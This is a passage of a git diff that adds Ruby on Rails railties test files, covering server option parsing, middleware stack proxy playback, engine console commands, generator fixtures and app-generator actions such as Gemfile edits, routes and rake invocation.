+        with_rack_env "production" do
+          args    = []
+          options = parse_arguments(args)
+          assert_equal false, options[:log_stdout]
+        end
+
+        with_rails_env "development" do
+          args    = []
+          options = parse_arguments(args)
+          assert_equal true, options[:log_stdout]
+        end
+
+        with_rails_env "production" do
+          args    = []
+          options = parse_arguments(args)
+          assert_equal false, options[:log_stdout]
+        end
+      end
+    end
+  end
+
+  def test_host
+    with_rails_env "development" do
+      options = parse_arguments([])
+      assert_equal "localhost", options[:Host]
+    end
+
+    with_rails_env "production" do
+      options = parse_arguments([])
+      assert_equal "0.0.0.0", options[:Host]
+    end
+
+    with_rails_env "development" do
+      args = ["-b", "127.0.0.1"]
+      options = parse_arguments(args)
+      assert_equal "127.0.0.1", options[:Host]
+    end
+  end
+
+  def test_argument_precedence_over_environment_variable
+    switch_env "PORT", "1234" do
+      args = ["-p", "5678"]
+      options = parse_arguments(args)
+      assert_equal 5678, options[:Port]
+    end
+
+    switch_env "PORT", "1234" do
+      args = ["-p", "3000"]
+      options = parse_arguments(args)
+      assert_equal 3000, options[:Port]
+    end
+
+    switch_env "HOST", "1.2.3.4" do
+      args = ["-b", "127.0.0.1"]
+      options = parse_arguments(args)
+      assert_equal "127.0.0.1", options[:Host]
+    end
+  end
+
+  def test_records_user_supplied_options
+    server_options = parse_arguments(["-p", 3001])
+    assert_equal [:Port], server_options[:user_supplied_options]
+
+    server_options = parse_arguments(["--port", 3001])
+    assert_equal [:Port], server_options[:user_supplied_options]
+
+    server_options = parse_arguments(["-p3001", "-C", "--binding", "127.0.0.1"])
+    assert_equal [:Port, :Host, :caching], server_options[:user_supplied_options]
+
+    server_options = parse_arguments(["--port=3001"])
+    assert_equal [:Port], server_options[:user_supplied_options]
+  end
+
+  def test_default_options
+    server = Rails::Server.new
+    old_default_options = server.default_options
+
+    Dir.chdir("..") do
+      assert_equal old_default_options, server.default_options
+    end
+  end
+
+  def test_restart_command_contains_customized_options
+    original_args = ARGV.dup
+    args = %w(-p 4567 -b 127.0.0.1 -c dummy_config.ru -d -e test -P tmp/server.pid -C)
+    ARGV.replace args
+
+    options = parse_arguments(args)
+    expected = "bin/rails server  -p 4567 -b 127.0.0.1 -c dummy_config.ru -d -e test -P tmp/server.pid -C"
+
+    assert_equal expected, options[:restart_cmd]
+  ensure
+    ARGV.replace original_args
+  end
+
+  private
+    def parse_arguments(args = [])
+      Rails::Command::ServerCommand.new([], args).server_options
+    end
+end
diff --git a/railties/test/configuration/middleware_stack_proxy_test.rb b/railties/test/configuration/middleware_stack_proxy_test.rb
new file mode 100644
index 0000000000..559ce72693
--- /dev/null
+++ b/railties/test/configuration/middleware_stack_proxy_test.rb
@@ -0,0 +1,61 @@
+require "active_support"
+require "active_support/testing/autorun"
+require "rails/configuration"
+require "active_support/test_case"
+require "minitest/mock"
+
+module Rails
+  module Configuration
+    class MiddlewareStackProxyTest < ActiveSupport::TestCase
+      def setup
+        @stack = MiddlewareStackProxy.new
+      end
+
+      def test_playback_insert_before
+        @stack.insert_before :foo
+        assert_playback :insert_before, :foo
+      end
+
+      def test_playback_insert_after
+        @stack.insert_after :foo
+        assert_playback :insert_after, :foo
+      end
+
+      def test_playback_swap
+        @stack.swap :foo
+        assert_playback :swap, :foo
+      end
+
+      def test_playback_use
+        @stack.use :foo
+        assert_playback :use, :foo
+      end
+
+      def test_playback_delete
+        @stack.delete :foo
+        assert_playback :delete, :foo
+      end
+
+      def test_order
+        @stack.swap :foo
+        @stack.delete :foo
+
+        mock = Minitest::Mock.new
+        mock.expect :send, nil, [:swap, :foo]
+        mock.expect :send, nil, [:delete, :foo]
+
+        @stack.merge_into mock
+        mock.verify
+      end
+
+      private
+
+        def assert_playback(msg_name, args)
+          mock = Minitest::Mock.new
+          mock.expect :send, nil, [msg_name, args]
+          @stack.merge_into(mock)
+          mock.verify
+        end
+    end
+  end
+end
diff --git a/railties/test/console_helpers.rb b/railties/test/console_helpers.rb
new file mode 100644
index 0000000000..4b11afa511
--- /dev/null
+++ b/railties/test/console_helpers.rb
@@ -0,0 +1,23 @@
+begin
+  require "pty"
+rescue LoadError
+end
+
+module ConsoleHelpers
+  def assert_output(expected, io, timeout = 10)
+    timeout = Time.now + timeout
+
+    output = ""
+    until output.include?(expected) || Time.now > timeout
+      if IO.select([io], [], [], 0.1)
+        output << io.read(1)
+      end
+    end
+
+    assert_includes output, expected, "#{expected.inspect} expected, but got:\n\n#{output}"
+  end
+
+  def available_pty?
+    defined?(PTY) && PTY.respond_to?(:open)
+  end
+end
diff --git a/railties/test/engine/commands_test.rb b/railties/test/engine/commands_test.rb
new file mode 100644
index 0000000000..018c7c949e
--- /dev/null
+++ b/railties/test/engine/commands_test.rb
@@ -0,0 +1,78 @@
+require "abstract_unit"
+require "console_helpers"
+
+class Rails::Engine::CommandsTest < ActiveSupport::TestCase
+  include ConsoleHelpers
+
+  def setup
+    @destination_root = Dir.mktmpdir("bukkits")
+    Dir.chdir(@destination_root) { `bundle exec rails plugin new bukkits --mountable` }
+  end
+
+  def teardown
+    FileUtils.rm_rf(@destination_root)
+  end
+
+  def test_help_command_work_inside_engine
+    output = capture(:stderr) do
+      Dir.chdir(plugin_path) { `bin/rails --help` }
+    end
+    assert_no_match "NameError", output
+  end
+
+  def test_runner_command_work_inside_engine
+    output = capture(:stdout) do
+      Dir.chdir(plugin_path) { system("bin/rails runner 'puts Rails.env'") }
+    end
+
+    assert_equal "test", output.strip
+  end
+
+  def test_console_command_work_inside_engine
+    skip "PTY unavailable" unless available_pty?
+
+    master, slave = PTY.open
+    spawn_command("console", slave)
+    assert_output(">", master)
+  ensure
+    master.puts "quit"
+  end
+
+  def test_dbconsole_command_work_inside_engine
+    skip "PTY unavailable" unless available_pty?
+
+    master, slave = PTY.open
+    spawn_command("dbconsole", slave)
+    assert_output("sqlite>", master)
+  ensure
+    master.puts ".exit"
+  end
+
+  def test_server_command_work_inside_engine
+    skip "PTY unavailable" unless available_pty?
+
+    master, slave = PTY.open
+    pid = spawn_command("server", slave)
+    assert_output("Listening on", master)
+  ensure
+    kill(pid)
+  end
+
+  private
+    def plugin_path
+      "#{@destination_root}/bukkits"
+    end
+
+    def spawn_command(command, fd)
+      Process.spawn(
+        "#{plugin_path}/bin/rails #{command}",
+        in: fd, out: fd, err: fd
+      )
+    end
+
+    def kill(pid)
+      Process.kill("TERM", pid)
+      Process.wait(pid)
+    rescue Errno::ESRCH
+    end
+end
diff --git a/railties/test/engine_test.rb b/railties/test/engine_test.rb
new file mode 100644
index 0000000000..248afa2d2c
--- /dev/null
+++ b/railties/test/engine_test.rb
@@ -0,0 +1,25 @@
+require "abstract_unit"
+
+class EngineTest < ActiveSupport::TestCase
+  test "reports routes as available only if they're actually present" do
+    engine = Class.new(Rails::Engine) do
+      def initialize(*args)
+        @routes = nil
+        super
+      end
+    end
+
+    assert !engine.routes?
+  end
+
+  def test_application_can_be_subclassed
+    klass = Class.new(Rails::Application) do
+      attr_reader :hello
+      def initialize
+        @hello = "world"
+        super
+      end
+    end
+    assert_equal "world", klass.instance.hello
+  end
+end
diff --git a/railties/test/env_helpers.rb b/railties/test/env_helpers.rb
new file mode 100644
index 0000000000..1f64d5fda3
--- /dev/null
+++ b/railties/test/env_helpers.rb
@@ -0,0 +1,30 @@
+require "rails"
+
+module EnvHelpers
+  private
+
+    def with_rails_env(env)
+      Rails.instance_variable_set :@_env, nil
+      switch_env "RAILS_ENV", env do
+        switch_env "RACK_ENV", nil do
+          yield
+        end
+      end
+    end
+
+    def with_rack_env(env)
+      Rails.instance_variable_set :@_env, nil
+      switch_env "RACK_ENV", env do
+        switch_env "RAILS_ENV", nil do
+          yield
+        end
+      end
+    end
+
+    def switch_env(key, value)
+      old, ENV[key] = ENV[key], value
+      yield
+    ensure
+      ENV[key] = old
+    end
+end
diff --git a/railties/test/fixtures/about_yml_plugins/bad_about_yml/about.yml b/railties/test/fixtures/about_yml_plugins/bad_about_yml/about.yml
new file mode 100644
index 0000000000..fe80872a16
--- /dev/null
+++ b/railties/test/fixtures/about_yml_plugins/bad_about_yml/about.yml
@@ -0,0 +1 @@
+# an empty YAML file - any content in here seems to get parsed as a string
\ No newline at end of file
diff --git a/railties/test/fixtures/about_yml_plugins/bad_about_yml/init.rb b/railties/test/fixtures/about_yml_plugins/bad_about_yml/init.rb
new file mode 100644
index 0000000000..636bc1a8ab
--- /dev/null
+++ b/railties/test/fixtures/about_yml_plugins/bad_about_yml/init.rb
@@ -0,0 +1 @@
+# intentionally empty
diff --git a/railties/test/fixtures/about_yml_plugins/plugin_without_about_yml/init.rb b/railties/test/fixtures/about_yml_plugins/plugin_without_about_yml/init.rb
new file mode 100644
index 0000000000..636bc1a8ab
--- /dev/null
+++ b/railties/test/fixtures/about_yml_plugins/plugin_without_about_yml/init.rb
@@ -0,0 +1 @@
+# intentionally empty
diff --git a/railties/test/fixtures/lib/create_test_dummy_template.rb b/railties/test/fixtures/lib/create_test_dummy_template.rb
new file mode 100644
index 0000000000..e4378bbd1a
--- /dev/null
+++ b/railties/test/fixtures/lib/create_test_dummy_template.rb
@@ -0,0 +1 @@
+create_dummy_app("spec/dummy")
diff --git a/railties/test/fixtures/lib/generators/active_record/fixjour_generator.rb b/railties/test/fixtures/lib/generators/active_record/fixjour_generator.rb
new file mode 100644
index 0000000000..1139350b94
--- /dev/null
+++ b/railties/test/fixtures/lib/generators/active_record/fixjour_generator.rb
@@ -0,0 +1,8 @@
+require "rails/generators/active_record"
+
+module ActiveRecord
+  module Generators
+    class FixjourGenerator < Base
+    end
+  end
+end
diff --git a/railties/test/fixtures/lib/generators/fixjour_generator.rb b/railties/test/fixtures/lib/generators/fixjour_generator.rb
new file mode 100644
index 0000000000..ef3e9edbed
--- /dev/null
+++ b/railties/test/fixtures/lib/generators/fixjour_generator.rb
@@ -0,0 +1,2 @@
+class FixjourGenerator < Rails::Generators::NamedBase
+end
diff --git a/railties/test/fixtures/lib/generators/model_generator.rb b/railties/test/fixtures/lib/generators/model_generator.rb
new file mode 100644
index 0000000000..0905fa9631
--- /dev/null
+++ b/railties/test/fixtures/lib/generators/model_generator.rb
@@ -0,0 +1 @@
+raise "I should never be loaded"
diff --git a/railties/test/fixtures/lib/generators/usage_template/USAGE b/railties/test/fixtures/lib/generators/usage_template/USAGE
new file mode 100644
index 0000000000..bcd63c52e2
--- /dev/null
+++ b/railties/test/fixtures/lib/generators/usage_template/USAGE
@@ -0,0 +1 @@
+:: <%= 1 + 1 %> ::
\ No newline at end of file
diff --git a/railties/test/fixtures/lib/generators/usage_template/usage_template_generator.rb b/railties/test/fixtures/lib/generators/usage_template/usage_template_generator.rb
new file mode 100644
index 0000000000..701515440a
--- /dev/null
+++ b/railties/test/fixtures/lib/generators/usage_template/usage_template_generator.rb
@@ -0,0 +1,5 @@
+require "rails/generators"
+
+class UsageTemplateGenerator < Rails::Generators::Base
+  source_root File.expand_path("templates", __dir__)
+end
diff --git a/railties/test/fixtures/lib/rails/generators/foobar/foobar_generator.rb b/railties/test/fixtures/lib/rails/generators/foobar/foobar_generator.rb
new file mode 100644
index 0000000000..d1de8c56fa
--- /dev/null
+++ b/railties/test/fixtures/lib/rails/generators/foobar/foobar_generator.rb
@@ -0,0 +1,4 @@
+module Foobar
+  class FoobarGenerator < Rails::Generators::Base
+  end
+end
diff --git a/railties/test/fixtures/lib/template.rb b/railties/test/fixtures/lib/template.rb
new file mode 100644
index 0000000000..c14a1a8784
--- /dev/null
+++ b/railties/test/fixtures/lib/template.rb
@@ -0,0 +1 @@
+say "It works from file!"
diff --git a/railties/test/generators/actions_test.rb b/railties/test/generators/actions_test.rb
new file mode 100644
index 0000000000..03b29be907
--- /dev/null
+++ b/railties/test/generators/actions_test.rb
@@ -0,0 +1,380 @@
+require "generators/generators_test_helper"
+require "rails/generators/rails/app/app_generator"
+require "env_helpers"
+
+class ActionsTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+  include EnvHelpers
+
+  tests Rails::Generators::AppGenerator
+  arguments [destination_root]
+
+  def setup
+    Rails.application = TestApp::Application
+    super
+  end
+
+  def teardown
+    Rails.application = TestApp::Application.instance
+  end
+
+  def test_invoke_other_generator_with_shortcut
+    action :invoke, "model", ["my_model"]
+    assert_file "app/models/my_model.rb", /MyModel/
+  end
+
+  def test_invoke_other_generator_with_full_namespace
+    action :invoke, "rails:model", ["my_model"]
+    assert_file "app/models/my_model.rb", /MyModel/
+  end
+
+  def test_create_file_should_write_data_to_file_path
+    action :create_file, "lib/test_file.rb", "heres test data"
+    assert_file "lib/test_file.rb", "heres test data"
+  end
+
+  def test_create_file_should_write_block_contents_to_file_path
+    action(:create_file, "lib/test_file.rb") { "heres block data" }
+    assert_file "lib/test_file.rb", "heres block data"
+  end
+
+  def test_add_source_adds_source_to_gemfile
+    run_generator
+    action :add_source, "http://gems.github.com"
+    assert_file "Gemfile", /source 'http:\/\/gems\.github\.com'/
+  end
+
+  def test_add_source_with_block_adds_source_to_gemfile_with_gem
+    run_generator
+    action :add_source, "http://gems.github.com" do
+      gem "rspec-rails"
+    end
+    assert_file "Gemfile", /source 'http:\/\/gems\.github\.com' do\n  gem 'rspec-rails'\nend/
+  end
+
+  def test_add_source_with_block_adds_source_to_gemfile_after_gem
+    run_generator
+    action :gem, "will-paginate"
+    action :add_source, "http://gems.github.com" do
+      gem "rspec-rails"
+    end
+    assert_file "Gemfile", /gem 'will-paginate'\nsource 'http:\/\/gems\.github\.com' do\n  gem 'rspec-rails'\nend/
+  end
+
+  def test_gem_should_put_gem_dependency_in_gemfile
+    run_generator
+    action :gem, "will-paginate"
+    assert_file "Gemfile", /gem 'will\-paginate'/
+  end
+
+  def test_gem_with_version_should_include_version_in_gemfile
+    run_generator
+
+    action :gem, "rspec", ">=2.0.0.a5"
+
+    assert_file "Gemfile", /gem 'rspec', '>=2.0.0.a5'/
+  end
+
+  def test_gem_should_insert_on_separate_lines
+    run_generator
+
+    File.open("Gemfile", "a") { |f| f.write("# Some content...") }
+
+    action :gem, "rspec"
+    action :gem, "rspec-rails"
+
+    assert_file "Gemfile", /^gem 'rspec'$/
+    assert_file "Gemfile", /^gem 'rspec-rails'$/
+  end
+
+  def test_gem_should_include_options
+    run_generator
+
+    action :gem, "rspec", github: "dchelimsky/rspec", tag: "1.2.9.rc1"
+
+    assert_file "Gemfile", /gem 'rspec', github: 'dchelimsky\/rspec', tag: '1\.2\.9\.rc1'/
+  end
+
+  def test_gem_with_non_string_options
+    run_generator
+
+    action :gem, "rspec", require: false
+    action :gem, "rspec-rails", group: [:development, :test]
+
+    assert_file "Gemfile", /^gem 'rspec', require: false$/
+    assert_file "Gemfile", /^gem 'rspec-rails', group: \[:development, :test\]$/
+  end
+
+  def test_gem_falls_back_to_inspect_if_string_contains_single_quote
+    run_generator
+
+    action :gem, "rspec", ">=2.0'0"
+
+    assert_file "Gemfile", /^gem 'rspec', ">=2\.0'0"$/
+  end
+
+  def test_gem_works_even_if_frozen_string_is_passed_as_argument
+    run_generator
+
+    action :gem, "frozen_gem".freeze, "1.0.0".freeze
+
+    assert_file "Gemfile", /^gem 'frozen_gem', '1.0.0'$/
+  end
+
+  def test_gem_group_should_wrap_gems_in_a_group
+    run_generator
+
+    action :gem_group, :development, :test do
+      gem "rspec-rails"
+    end
+
+    action :gem_group, :test do
+      gem "fakeweb"
+    end
+
+    assert_file "Gemfile", /\ngroup :development, :test do\n  gem 'rspec-rails'\nend\n\ngroup :test do\n  gem 'fakeweb'\nend/
+  end
+
+  def test_environment_should_include_data_in_environment_initializer_block
+    run_generator
+    autoload_paths = 'config.autoload_paths += %w["#{Rails.root}/app/extras"]'
+    action :environment, autoload_paths
+    assert_file "config/application.rb", /  class Application < Rails::Application\n    #{Regexp.escape(autoload_paths)}/
+  end
+
+  def test_environment_should_include_data_in_environment_initializer_block_with_env_option
+    run_generator
+    autoload_paths = 'config.autoload_paths += %w["#{Rails.root}/app/extras"]'
+    action :environment, autoload_paths, env: "development"
+    assert_file "config/environments/development.rb", /Rails\.application\.configure do\n  #{Regexp.escape(autoload_paths)}/
+  end
+
+  def test_environment_with_block_should_include_block_contents_in_environment_initializer_block
+    run_generator
+
+    action :environment do
+      _ = "# This wont be added"# assignment to silence parse-time warning "unused literal ignored"
+      "# This will be added"
+    end
+
+    assert_file "config/application.rb" do |content|
+      assert_match(/# This will be added/, content)
+      assert_no_match(/# This wont be added/, content)
+    end
+  end
+
+  def test_git_with_symbol_should_run_command_using_git_scm
+    assert_called_with(generator, :run, ["git init"]) do
+      action :git, :init
+    end
+  end
+
+  def test_git_with_hash_should_run_each_command_using_git_scm
+    assert_called_with(generator, :run, [ ["git rm README"], ["git add ."] ]) do
+      action :git, rm: "README", add: "."
+    end
+  end
+
+  def test_vendor_should_write_data_to_file_in_vendor
+    action :vendor, "vendor_file.rb", "# vendor data"
+    assert_file "vendor/vendor_file.rb", "# vendor data"
+  end
+
+  def test_lib_should_write_data_to_file_in_lib
+    action :lib, "my_library.rb", "class MyLibrary"
+    assert_file "lib/my_library.rb", "class MyLibrary"
+  end
+
+  def test_rakefile_should_write_date_to_file_in_lib_tasks
+    action :rakefile, "myapp.rake", "task run: [:environment]"
+    assert_file "lib/tasks/myapp.rake", "task run: [:environment]"
+  end
+
+  def test_initializer_should_write_date_to_file_in_config_initializers
+    action :initializer, "constants.rb", "MY_CONSTANT = 42"
+    assert_file "config/initializers/constants.rb", "MY_CONSTANT = 42"
+  end
+
+  def test_generate_should_run_script_generate_with_argument_and_options
+    assert_called_with(generator, :run_ruby_script, ["bin/rails generate model MyModel", verbose: false]) do
+      action :generate, "model", "MyModel"
+    end
+  end
+
+  def test_rails_should_run_rake_command_with_default_env
+    assert_called_with(generator, :run, ["rake log:clear RAILS_ENV=development", verbose: false]) do
+      with_rails_env nil do
+        action :rake, "log:clear"
+      end
+    end
+  end
+
+  def test_rails_with_env_option_should_run_rake_command_in_env
+    assert_called_with(generator, :run, ["rake log:clear RAILS_ENV=production", verbose: false]) do
+      action :rake, "log:clear", env: "production"
+    end
+  end
+
+  test "rails command with RAILS_ENV variable should run rake command in env" do
+    assert_called_with(generator, :run, ["rake log:clear RAILS_ENV=production", verbose: false]) do
+      with_rails_env "production" do
+        action :rake, "log:clear"
+      end
+    end
+  end
+
+  test "env option should win over RAILS_ENV variable when running rake" do
+    assert_called_with(generator, :run, ["rake log:clear RAILS_ENV=production", verbose: false]) do
+      with_rails_env "staging" do
+        action :rake, "log:clear", env: "production"
+      end
+    end
+  end
+
+  test "rails command with sudo option should run rake command with sudo" do
+    assert_called_with(generator, :run, ["sudo rake log:clear RAILS_ENV=development", verbose: false]) do
+      with_rails_env nil do
+        action :rake, "log:clear", sudo: true
+      end
+    end
+  end
+
+  test "rails command should run rails_command with default env" do
+    assert_called_with(generator, :run, ["rails log:clear RAILS_ENV=development", verbose: false]) do
+      with_rails_env nil do
+        action :rails_command, "log:clear"
+      end
+    end
+  end
+
+  test "rails command with env option should run rails_command with same env" do
+    assert_called_with(generator, :run, ["rails log:clear RAILS_ENV=production", verbose: false]) do
+      action :rails_command, "log:clear", env: "production"
+    end
+  end
+
+  test "rails command with RAILS_ENV variable should run rails_command in env" do
+    assert_called_with(generator, :run, ["rails log:clear RAILS_ENV=production", verbose: false]) do
+      with_rails_env "production" do
+        action :rails_command, "log:clear"
+      end
+    end
+  end
+
+  def test_env_option_should_win_over_rails_env_variable_when_running_rails
+    assert_called_with(generator, :run, ["rails log:clear RAILS_ENV=production", verbose: false]) do
+      with_rails_env "staging" do
+        action :rails_command, "log:clear", env: "production"
+      end
+    end
+  end
+
+  test "rails command with sudo option should run rails_command with sudo" do
+    assert_called_with(generator, :run, ["sudo rails log:clear RAILS_ENV=development", verbose: false]) do
+      with_rails_env nil do
+        action :rails_command, "log:clear", sudo: true
+      end
+    end
+  end
+
+  def test_capify_should_run_the_capify_command
+    content = capture(:stderr) do
+      assert_called_with(generator, :run, ["capify .", verbose: false]) do
+        action :capify!
+      end
+    end
+    assert_match(/DEPRECATION WARNING: `capify!` is deprecated/, content)
+  end
+
+  def test_route_should_add_data_to_the_routes_block_in_config_routes
+    run_generator
+    route_command = "route '/login', controller: 'sessions', action: 'new'"
+    action :route, route_command
+    assert_file "config/routes.rb", /#{Regexp.escape(route_command)}/
+  end
+
+  def test_route_should_be_idempotent
+    run_generator
+    route_path = File.expand_path("config/routes.rb", destination_root)
+
+    # runs first time, not asserting
+    action :route, "root 'welcome#index'"
+    content_1 = File.read(route_path)
+
+    # runs second time
+    action :route, "root 'welcome#index'"
+    content_2 = File.read(route_path)
+
+    assert_equal content_1, content_2
+  end
+
+  def test_route_should_add_data_with_an_new_line
+    run_generator
+    action :route, "root 'welcome#index'"
+    route_path = File.expand_path("config/routes.rb", destination_root)
+    content = File.read(route_path)
+
+    # Remove all of the comments and blank lines from the routes file
+    content.gsub!(/^  \#.*\n/, "")
+    content.gsub!(/^\n/, "")
+
+    File.open(route_path, "wb") { |file| file.write(content) }
+
+    routes = <<-F
+Rails.application.routes.draw do
+  root 'welcome#index'
+end
+F
+
+    assert_file "config/routes.rb", routes
+
+    action :route, "resources :product_lines"
+
+    routes = <<-F
+Rails.application.routes.draw do
+  resources :product_lines
+  root 'welcome#index'
+end
+F
+    assert_file "config/routes.rb", routes
+  end
+
+  def test_readme
+    run_generator
+    assert_called(Rails::Generators::AppGenerator, :source_root, times: 2, returns: destination_root) do
+      assert_match "application up and running", action(:readme, "README.md")
+    end
+  end
+
+  def test_readme_with_quiet
+    generator(default_arguments, quiet: true)
+    run_generator
+    assert_called(Rails::Generators::AppGenerator, :source_root, times: 2, returns: destination_root) do
+      assert_no_match "application up and running", action(:readme, "README.md")
+    end
+  end
+
+  def test_log
+    assert_equal("YES\n", action(:log, "YES"))
+  end
+
+  def test_log_with_status
+    assert_equal("         yes  YES\n", action(:log, :yes, "YES"))
+  end
+
+  def test_log_with_quiet
+    generator(default_arguments, quiet: true)
+    assert_equal("", action(:log, "YES"))
+  end
+
+  def test_log_with_status_with_quiet
+    generator(default_arguments, quiet: true)
+    assert_equal("", action(:log, :yes, "YES"))
+  end
+
+  private
+
+    def action(*args, &block)
+      capture(:stdout) { generator.send(*args, &block) }
+    end
+end
diff --git a/railties/test/generators/api_app_generator_test.rb b/railties/test/generators/api_app_generator_test.rb
new file mode 100644
index 0000000000..a19e0f0dd8
--- /dev/null
+++ b/railties/test/generators/api_app_generator_test.rb
@@ -0,0 +1,135 @@
+require "generators/generators_test_helper"
+require "rails/generators/rails/app/app_generator"
+
+class ApiAppGeneratorTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+  tests Rails::Generators::AppGenerator
+
+  arguments [destination_root, "--api"]
+
+  def setup
+    Rails.application = TestApp::Application
+    super
+
+    Kernel::silence_warnings do
+      Thor::Base.shell.send(:attr_accessor, :always_force)
+      @shell = Thor::Base.shell.new
+      @shell.send(:always_force=, true)
+    end
+  end
+
+  def teardown
+    super
+    Rails.application = TestApp::Application.instance
+  end
+
+  def test_skeleton_is_created
+    run_generator
+
+    default_files.each { |path| assert_file path }
+    skipped_files.each { |path| assert_no_file path }
+  end
+
+  def test_api_modified_files
+    run_generator
+
+    assert_file "Gemfile" do |content|
+      assert_no_match(/gem 'coffee-rails'/, content)
+      assert_no_match(/gem 'sass-rails'/, content)
+      assert_no_match(/gem 'web-console'/, content)
+      assert_match(/# gem 'jbuilder'/, content)
+    end
+
+    assert_file "config/application.rb" do |content|
+      assert_match(/config.api_only = true/, content)
+    end
+
+    assert_file "config/initializers/cors.rb"
+
+    assert_file "config/initializers/wrap_parameters.rb"
+
+    assert_file "app/controllers/application_controller.rb", /ActionController::API/
+  end
+
+  def test_generator_if_skip_action_cable_is_given
+    run_generator [destination_root, "--skip-action-cable"]
+    assert_file "config/application.rb", /#\s+require\s+["']action_cable\/engine["']/
+    assert_no_file "config/cable.yml"
+    assert_no_file "app/channels"
+    assert_file "Gemfile" do |content|
+      assert_no_match(/redis/, content)
+    end
+  end
+
+  def test_app_update_does_not_generate_unnecessary_config_files
+    run_generator
+
+    generator = Rails::Generators::AppGenerator.new ["rails"],
+      { api: true, update: true }, destination_root: destination_root, shell: @shell
+    quietly { generator.send(:update_config_files) }
+
+    assert_no_file "config/initializers/cookies_serializer.rb"
+    assert_no_file "config/initializers/assets.rb"
+  end
+
+  def test_app_update_does_not_generate_unnecessary_bin_files
+    run_generator
+
+    generator = Rails::Generators::AppGenerator.new ["rails"],
+      { api: true, update: true }, destination_root: destination_root, shell: @shell
+    quietly { generator.send(:update_bin_files) }
+
+    assert_no_file "bin/yarn"
+  end
+
+  private
+
+    def default_files
+      files = %W(
+        .gitignore
+        Gemfile
+        Rakefile
+        config.ru
+        app/controllers
+        app/mailers
+        app/models
+        app/views/layouts/mailer.html.erb
+        app/views/layouts/mailer.text.erb
+        config/environments
+        config/initializers
+        config/locales
+        db
+        lib
+        lib/tasks
+        log
+        test/fixtures
+        test/controllers
+        test/integration
+        test/models
+        tmp
+        vendor
+      )
+      files.concat %w(bin/bundle bin/rails bin/rake)
+      files
+    end
+
+    def skipped_files
+      %w(app/assets
+         app/helpers
+         app/views/layouts/application.html.erb
+         bin/yarn
+         config/initializers/assets.rb
+         config/initializers/cookies_serializer.rb
+         lib/assets
+         test/helpers
+         tmp/cache/assets
+         public/404.html
+         public/422.html
+         public/500.html
+         public/apple-touch-icon-precomposed.png
+         public/apple-touch-icon.png
+         public/favicon.icon
+         package.json
+      )
+    end
+end
diff --git a/railties/test/generators/app_generator_test.rb b/railties/test/generators/app_generator_test.rb
new file mode 100644
index 0000000000..aec73b6955
--- /dev/null
+++ b/railties/test/generators/app_generator_test.rb
@@ -0,0 +1,966 @@
+require "generators/generators_test_helper"
+require "rails/generators/rails/app/app_generator"
+require "generators/shared_generator_tests"
+
+DEFAULT_APP_FILES = %w(
+  .gitignore
+  .ruby-version
+  README.md
+  Gemfile
+  Rakefile
+  config.ru
+  app/assets/config/manifest.js
+  app/assets/images
+  app/assets/javascripts
+  app/assets/javascripts/application.js
+  app/assets/javascripts/cable.js
+  app/assets/javascripts/channels
+  app/assets/stylesheets
+  app/assets/stylesheets/application.css
+  app/channels/application_cable/channel.rb
+  app/channels/application_cable/connection.rb
+  app/controllers
+  app/controllers/application_controller.rb
+  app/controllers/concerns
+  app/helpers
+  app/helpers/application_helper.rb
+  app/mailers
+  app/mailers/application_mailer.rb
+  app/models
+  app/models/application_record.rb
+  app/models/concerns
+  app/jobs
+  app/jobs/application_job.rb
+  app/views/layouts
+  app/views/layouts/application.html.erb
+  app/views/layouts/mailer.html.erb
+  app/views/layouts/mailer.text.erb
+  bin/bundle
+  bin/rails
+  bin/rake
+  bin/setup
+  bin/update
+  bin/yarn
+  config/application.rb
+  config/boot.rb
+  config/cable.yml
+  config/environment.rb
+  config/environments
+  config/environments/development.rb
+  config/environments/production.rb
+  config/environments/test.rb
+  config/initializers
+  config/initializers/application_controller_renderer.rb
+  config/initializers/assets.rb
+  config/initializers/backtrace_silencers.rb
+  config/initializers/cookies_serializer.rb
+  config/initializers/filter_parameter_logging.rb
+  config/initializers/inflections.rb
+  config/initializers/mime_types.rb
+  config/initializers/wrap_parameters.rb
+  config/locales
+  config/locales/en.yml
+  config/puma.rb
+  config/routes.rb
+  config/secrets.yml
+  config/spring.rb
+  db
+  db/seeds.rb
+  lib
+  lib/tasks
+  lib/assets
+  log
+  package.json
+  public
+  test/application_system_test_case.rb
+  test/test_helper.rb
+  test/fixtures
+  test/fixtures/files
+  test/controllers
+  test/models
+  test/helpers
+  test/mailers
+  test/integration
+  test/system
+  vendor
+  tmp
+  tmp/cache
+  tmp/cache/assets
+)
+
+class AppGeneratorTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+  arguments [destination_root]
+
+  # brings setup, teardown, and some tests
+  include SharedGeneratorTests
+
+  def default_files
+    ::DEFAULT_APP_FILES
+  end
+
+  def test_assets
+    run_generator
+
+    assert_file("app/views/layouts/application.html.erb", /stylesheet_link_tag\s+'application', media: 'all', 'data-turbolinks-track': 'reload'/)
+    assert_file("app/views/layouts/application.html.erb", /javascript_include_tag\s+'application', 'data-turbolinks-track': 'reload'/)
+    assert_file("app/assets/stylesheets/application.css")
+    assert_file("app/assets/javascripts/application.js")
+  end
+
+  def test_application_job_file_present
+    run_generator
+    assert_file("app/jobs/application_job.rb")
+  end
+
+  def test_invalid_application_name_raises_an_error
+    content = capture(:stderr) { run_generator [File.join(destination_root, "43-things")] }
+    assert_equal "Invalid application name 43-things. Please give a name which does not start with numbers.\n", content
+  end
+
+  def test_invalid_application_name_is_fixed
+    run_generator [File.join(destination_root, "things-43")]
+    assert_file "things-43/config/environment.rb", /Rails\.application\.initialize!/
+    assert_file "things-43/config/application.rb", /^module Things43$/
+  end
+
+  def test_application_new_exits_with_non_zero_code_on_invalid_application_name
+    quietly { system "rails new test --no-rc" }
+    assert_equal false, $?.success?
+  end
+
+  def test_application_new_exits_with_message_and_non_zero_code_when_generating_inside_existing_rails_directory
+    app_root = File.join(destination_root, "myfirstapp")
+    run_generator [app_root]
+    output = nil
+    Dir.chdir(app_root) do
+      output = `rails new mysecondapp`
+    end
+    assert_equal "Can't initialize a new Rails application within the directory of another, please change to a non-Rails directory first.\nType 'rails' for help.\n", output
+    assert_equal false, $?.success?
+  end
+
+  def test_application_new_show_help_message_inside_existing_rails_directory
+    app_root = File.join(destination_root, "myfirstapp")
+    run_generator [app_root]
+    output = Dir.chdir(app_root) do
+      `rails new --help`
+    end
+    assert_match(/rails new APP_PATH \[options\]/, output)
+    assert_equal true, $?.success?
+  end
+
+  def test_application_name_is_detected_if_it_exists_and_app_folder_renamed
+    app_root       = File.join(destination_root, "myapp")
